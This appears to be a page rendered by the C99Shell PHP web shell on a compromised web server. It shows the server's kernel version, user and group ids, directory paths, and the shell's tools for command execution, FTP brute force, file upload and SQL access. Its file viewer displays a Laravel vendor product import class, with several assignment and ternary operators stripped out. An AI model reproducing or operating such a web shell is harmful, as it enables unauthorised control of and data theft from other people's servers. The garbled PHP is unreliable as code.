!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Services/Import/   drwxr-xr-x
Free 26.57 GB of 117.98 GB (22.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     VendorProductImportService.php (1.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Services\Import;

use 
App\Enums\ProductStatus;
use 
Illuminate\Http\Request;

class 
VendorProductImportService extends ProductImportService
{
    protected 
$vendorId;

    public function 
__construct(Request $request)
    {
        
$vendor auth()->user()->vendor();
        if (
is_null($vendor)) {
            
abort(403);
        }
        
$this->vendorId $vendor->vendor_id;
        
parent::__construct($request);
    }


    
/**
     * Attach vendor id to the product
     *
     * @param array $data
     *
     * @return array
     */
    
protected function filterVendorId($data)
    {
        
$data['vendor_id'] = $this->vendorId;
        return 
$data;
    }




    
/**
     * Generates array of category id
     *
     * @return array
     */
    
protected function handleCategory($data)
    {
        
$category $this->categoryService->disableCreateNew()->process($data['categories'] ?? null);

        unset(
$data['categories']);

        return 
$category;
    }


    
/**
     * Generates array of tags id
     *
     * @return array
     */
    
public function handleTags($data)
    {
        
$tags $this->tagService->disableCreateNew()->process($data['tags'] ?? '');

        unset(
$data['tags']);

        return 
$tags;
    }


    public function 
getViewAndRoute(string $name)
    {
        
$names = [
            
"admin.epz.import.product" => "vendor.epz.import.product"
        
];
        return 
$names[$name] ?? $name;
    }

        
/**
     * Filters status column
     *
     * @return array
     */
    
protected function filterStatus($data)
    {
        if (
$this->hasParentId($data)) {
            
$data['status'] = ProductStatus::$Published;
        } else {
            
$data['status'] = isset($data['published']) && $data['published'] == ProductStatus::$PendingReview 'Draft';
        }
        return 
$data;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--